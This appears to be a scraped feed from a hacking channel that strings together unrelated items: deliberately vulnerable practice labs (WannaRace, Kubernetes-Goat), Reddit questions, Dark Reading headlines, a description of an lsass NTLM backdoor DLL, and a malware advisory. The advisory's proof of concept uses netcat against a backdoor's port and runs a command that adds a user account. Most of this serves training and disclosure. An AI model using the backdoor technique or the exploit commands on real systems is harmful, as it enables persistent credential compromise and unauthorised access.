Task is to buy Mega box (which is worth 401 units) by exploiting (https://www.kitploit.com/search/label/Exploiting) race condition

___________________________
@hacking_Attack
@Hacking_Video

Challenge #2Same as Challenge #1 but requires login so that PHPSESSID and appropriate cookies (https://www.kitploit.com/search/label/Cookies) are set

___________________________
@hacking_Attack
@Hacking_Video

Download WannaRace (https://github.com/Xib3rR4dAr/WannaRace)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
WannaRace - WebApp Intentionally Made Vulnerable To Race Condition For Practicing Race Condition

https://blogger.googleusercontent.com/img/a/AVvXsEgjP3t6bru-XjgSzIt9uEPpTRTFHIdcGNie-m50YGQqb8jUAwXJe-5szGiY_izIeX0gTyxTGboMBON68nxS08L3tmzc4_dbWBrR0Xdcc79V7Phv2R0W2oulGjPmxn_33LB_8uusBUlGsSPGrfq6Df0dHBvXuakD_PamyY_Smn_jRV6cXn9W82lMEpbr=w640-h240 WebApp intentionally made vulnerable to Race Condition Description Race Condition vulnerability can be practiced in the developed WebApp. Task is to buy a Mega Box using race condition that costs more than available vouchers. Two challenges are made for practice. Challenge B is to be solved when PHPSESSID cookie is present, cookie is auto created when user is logged in. Happy learning Building and running the docker imageBuild the docker image with: git clone https://github.com/Xib3rR4dAr/WannaRace && cd WannaRace
docker build -t xib3rr4dar/wanna_race:1.0 .Run docker image: docker run -it --rm xib3rr4dar/wanna_race:1.0 OR docker run -it --rm -p 9050:80 xib3rr4dar/wanna_race:1.0 Then open in browser relevant IP:PORT ScreenshotsChallenge #1

Main Page https://blogger.googleusercontent.com/img/a/AVvXsEgjP3t6bru-XjgSzIt9uEPpTRTFHIdcGNie-m50YGQqb8jUAwXJe-5szGiY_izIeX0gTyxTGboMBON68nxS08L3tmzc4_dbWBrR0Xdcc79V7Phv2R0W2oulGjPmxn_33LB_8uusBUlGsSPGrfq6Df0dHBvXuakD_PamyY_Smn_jRV6cXn9W82lMEpbr=w640-h240 Four vouchers worth 400 units available for recharge https://blogger.googleusercontent.com/img/a/AVvXsEhP-rUpAnTeV1FzYt8QnshGPr3dusefpMWr7kNN-OzoeHNnFletGoRW0IVRPTCyLv85wDFCL8I5_E0W4__uCy2HlFked4QdsAGewOff-SrV1Xe87h3sTa27SS9ILT8gTyOef5dL25ks9PGYXWXBFEIIhjtW2MKSyxXyHWg_wmfVCSo0QP6bUZjcDgCq=w640-h480 Task is to buy Mega box (which is worth 401 units) by exploiting race condition https://blogger.googleusercontent.com/img/a/AVvXsEi92nbp0P7XLHqnQOVcTPcKEGq2Bq-z90g3NCMvXVd-ChlRjxQbOyY10c0e8iY859XOt9vvXeVlHtHEbTka7VvJ_rZbz69XgOHtoWWxgHBGa8fiPhrMwYn4mlOvaxPpkCKg-7ttfWZAg-bU5rKatWwowbQfUT0DXCc2ZEVNegLAa1DQGou6xAJsKAPG=w640-h396 Challenge #2

Same as Challenge #1 but requires login so that PHPSESSID and appropriate cookies are set https://blogger.googleusercontent.com/img/a/AVvXsEgdPMLdHRwnWwaWmaj2VMFqlPGsUW2H98NnjlOv1_loxelQOTW2QQLRVJlvPvTPr3vVV3dXCHQOG49IpxrIjo1KSgOPltHnK_MFy0QZ3WPxElOcSStMytKB702qrGPjOWjzk4vwO-CNQHJaqegWbISdv24w2_1q7p6-XfBDeSadSvnbx2cdeZKKIrWb=w640-h214 Download WannaRace

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do I decrypt my own Adobe password?

My password was in the Adobe breach of 2013. I have the leaked Adobe data, and I have located my own user data within it. But the password is in its encrypted form and it consisting of random characters and looks something like this: 3p1i4vlbinfre42=

What kind of string is this? Does it have a name? What encryption was used to produce it?

Now, I know what my password was. Would that be enough for me to decrypt this random nonsense into something slightly more useful like a hash? Or do I need to know the master password that Adobe used or something like that?

I don't think I need a reason for asking such questions, but I am doing this to educate myself by practicing on real world examples (and on my own data).

submitted by /u/Ken852
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What's Your Daily Source of Cybersecurity News?

What's your go-to source for all things malware, APT, and cyber related?

submitted by /u/Rebel_Ye11
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What jobs does a professional hacker get?

What's the pay and how do you go about getting these jobs?

submitted by /u/Sambar_Dosa
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Microsoft: macOS 'Powerdir' Flaw Could Enable Access to User Data

The vulnerability could allow an attacker to bypass the macOS Transparency, Consent, and Control measures to access a user's protected data.

Dark Reading: Attacks/Breaches
5 Things to Know About Next-Generation SIEM

NG-SIEM is emerging as a cloud- and analytics-driven alternative to legacy SIEMs. Based on new research, Omdia highlights five important new insights for anyone considering a NG-SIEM purchase.

Dark Reading: Attacks/Breaches
Why Security Awareness Training Should Begin in the C-Suite

It's not just the rights and privileges that CXOs have on the network. They can also set an example of what good security hygiene looks like.

Kali Linux Tutorials
Kubernetes-Goat : Is A “Vulnerable By Design” Kubernetes Cluster

Kubernetes-Goat is designed to be an intentionally vulnerable cluster environment to learn and practice Kubernetes security.

Setting Up Kubernetes Goat

Before we set up the Kubernetes Goat, ensure that you have created and have admin access to the Kubernetes cluster

kubectl version –short

Set up the helm version 2 in your path as helm2. Refer to helm releases for more information about setup

helm2 –help

Then finally setup Kubernetes Goat by running the following command

git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
bash setup-kubernetes-goat.sh

To export the ports/services locally to start learning, run the following command

bash access-kubernetes-goat.sh

Setting up Kubernetes Goat using KIND

If you want to set up the Kubernetes Goat using KIND (Kubernetes IN Docker), then follow the below steps

Make sure you have followed the pre-requisites as mentioned in the Kubernetes Goat. Also, you must have KIND installed and setup locally in your system.

* To setup the KIND cluster run the following command

bash setup-kind-cluster-and-goat.sh

Then to access the Kubernetes Goat locally, run the following command

bash access-kubernetes-goat.sh

To destroy the KIND cluster run the following command

bash teardown-cluster.sh
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Nosferatu : Lsass NTLM Authentication Backdoor

Nosferatu is a Lsass NTLM Authentication Backdoor

How It Works

First, the DLL is injected into the lsass.exeprocess, and will begin hooking authentication WinAPI calls. The targeted function is MsvpPasswordValidate(), located in NtlmShared.dll. In the pursuit of not being detected, the hooked function will call the original function and allow for the normal flow of authentication. Only after seeing that authentication has failed will the hook swap out the actual NTLM hash with the backdoor hash for comparison.

Usage

Nosferatu must be compiled as a 64 bit DLL. It must be injected using the a DLL Injector with SeDebugPrivilege.
https://blogger.googleusercontent.com/img/a/AVvXsEj-e7FHSL_uXtmawCLkwvxLUhdswxJqLalTSKpkx2lMeq9ZSdQnM_QhUWohZFOkWm7AlN6qkuCbg62yUV4TsyzV87_18aub2dJ12aGyAvihngHt6e53vG2PAhJLDL3Q48d7wGSrKK8vIkvI_ogI6Ex4sHhivKF5qaY6XSoq-Gp5D_HdH1labt6M0bHm=s1508
You can see it loaded using Procexp:
https://blogger.googleusercontent.com/img/a/AVvXsEh3H0gLucrBHMqFiD0SEDk-OgwMV_11-Vqpt5HizEMY1_4Ha7R7lZhIN-TPbYBgh9BrecZSim8PHk7fG0EjfRMGWxtflLlo2GmpBfbvQZmn7kAju5s2vFnV4aU8KQEJC1SPMrsZw4x9QiKfa8GlOU5F5G9il5KVfHfOgYKThZgMXvE3H6yH8yeWS1Gh=s966
Login example using Impacket:
https://blogger.googleusercontent.com/img/a/AVvXsEhuXnbA5OFm9p0PUrbHZHzG_rkeWOTK8__09RRnbNDvJDP1jDKRrwILIzo0FFfUGf9viqyYbsTPdX44QjnnRjCVxJx4cUedqavrLPsDXIAdzflw6K2c9f_6fzgRxbrWAblkiGOKjVRWO3QlILT1CCmeprDEi4Dz2Z6KH5TvYa9ISqr1heOuNLdNwTIH=s2484

Download

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Controlit.10 Code Execution

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
Backdoor.Win32.Controlit.10 malware suffers from a code execution vulnerability.

MD5 | c19a565f0b4dc9339610166d7747ab11

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/859aab793a42868343346163bd42f485.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Controlit.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 3347. Third-party attackers who can reach an infected system can run any OS commands made available by the malware further compromising the host.
Type: PE32
MD5: 859aab793a42868343346163bd42f485
Vuln ID: MVID-2022-0449
Disclosure: 01/10/2022

Exploit/PoC:
nc64.exe x.x.x.x 3347
Welcome to Control-it! Server.
Ready
HELP
Commands:
EXIT VERS LIST EXEC DELE RENM MKDR RMDR CHDR
WKDR UPLD DNLD SHDN REBT RELG HELP
Ready
EXEC net user HYP3RLINX 666 /add
Ready
EXEC calc
Ready
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video